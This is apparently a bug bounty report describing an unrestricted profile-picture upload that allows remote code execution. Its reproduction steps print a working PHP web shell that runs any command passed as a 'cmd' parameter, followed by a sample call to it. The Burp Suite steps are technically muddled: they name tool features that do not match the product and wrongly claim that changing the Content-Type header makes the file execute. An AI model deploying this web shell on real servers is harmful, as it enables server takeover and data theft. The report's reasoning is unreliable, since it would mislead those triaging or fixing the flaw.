Unrestricted file upload leads to RCE

Reported to: SecurePay Bug Bounty Program

Status:

New

Severity:

Critical

Vulnerability Description

Security Vulnerability Report: File Upload Validation Issue

Description:
The user's profile picture page exhibits insufficient validation of uploaded files. As a result, an adversary can execute a remote code execution attack by uploading malicious PHP or other executable file types onto the server infrastructure. This vulnerability poses significant risks to server integrity and data confidentiality.

Recommendations for Resolution:
1. Implement rigorous file type validation on the file upload endpoint, specifically blocking scripts (.php) and executables.
2. Employ secure coding practices during development to prevent such vulnerabilities in the future.
3. Conduct thorough security audits to detect any potential exploitation attempts or unauthorized accesses resulting from this issue.

Steps to Reproduce

1. Create a PHP file named `shell.php` with the following content:

```php
<?php
if (isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd']);
} else {
    // Optional: Return an error message or safe response if cmd is not set
}
?>
```

2. Open a web browser and navigate to the URL where profile picture upload functionality is available, typically found in your website's documentation or user guide (e.g., `http://example.com/profile-upload`).

3. Set up a proxy tool like Burp Suite:
   - Install Burp Suite if not already installed.
   - Open Burp and create a new Interceptor Scaffold for your target application's URL (e.g., `http://example.com`).

4. Configure Burp Proxy to intercept the profile picture upload request:
   - In the Intercept tab of Burp, identify the HTTP request sent from the client when attempting to upload a file and select it for interception.

5. Modify the intercepted request in Burp Suite's Proxy Tools tab:
   - Change the `Content-Type` header from `image/jpeg` to `application/x-php`. This step is critical as it may be used maliciously; ensure you have a legitimate reason and understand the security implications. If unsure, do not proceed with this step.

6. Forward the modified request through Burp Suite's Proxy Tools tab to reach your web server (e.g., `http://example.com`). The file upload process should now be executed as if it were a PHP script due to the modified Content-Type header, potentially allowing execution of arbitrary PHP code.

7. To access the results of this action securely and responsibly:
   - Do not attempt to execute or directly interact with the output without proper

authorization and oversight. In a testing environment under controlled conditions (with explicit permission), you could observe the behavior by accessing the file through your web server's URL as follows: `https://example.com/uploads/shell.php?cmd=whoami`.

Disclaimer: Changing HTTP headers and manipulating files can have significant security implications. This process is provided for educational purposes only, and should not be used without proper authorization or in a production environment. Always prioritize security best practices when handling web server operations.

Impact

Potential Business and Security Risks Assessment:

Executing Unauthorized Commands: The threat of an adversary gaining access to execute unauthorized commands poses significant risks. This could result in a full-scale breach of the server, jeopardizing sensitive business operations and proprietary information. Additionally, it may lead to severe data compromise, including intellectual property and customer data, which can have far-reaching implications for brand reputation and legal compliance.

Complete Server Compromise: A successful attack could culminate in total server takeover, disrupting critical business functions and potentially causing financial losses due to halted operations or need for emergency recovery measures. This compromise may also create a backdoor entry point, allowing further intrusion into the network infrastructure.

Data Theft: Unauthorized access might enable malicious actors to exfiltrate valuable data assets, including customer records, financial reports, and strategic plans. Such actions could lead to competitive disadvantages, legal ramifications, and a loss of trust among stakeholders and customers.

Further Network Penetration: Beyond immediate server compromise, the ability for attackers to penetrate further into the network amplifies potential business risks. This includes unauthorized access to additional systems, disruption of downstream services, and propagation of malware, which can wreak havoc across the enterprise's digital landscape.

Overall, these security breaches could result in significant financial losses, reputational damage, regulatory penalties, and long-term operational setbacks for our business. Implementing robust defensive measures is crucial to mitigating such risks and ensuring the resilience of our digital infrastructure.

Original Attachments

- Screenshot 2025-08-30 223947.png

Communication Log

No replies have been sent for this report yet.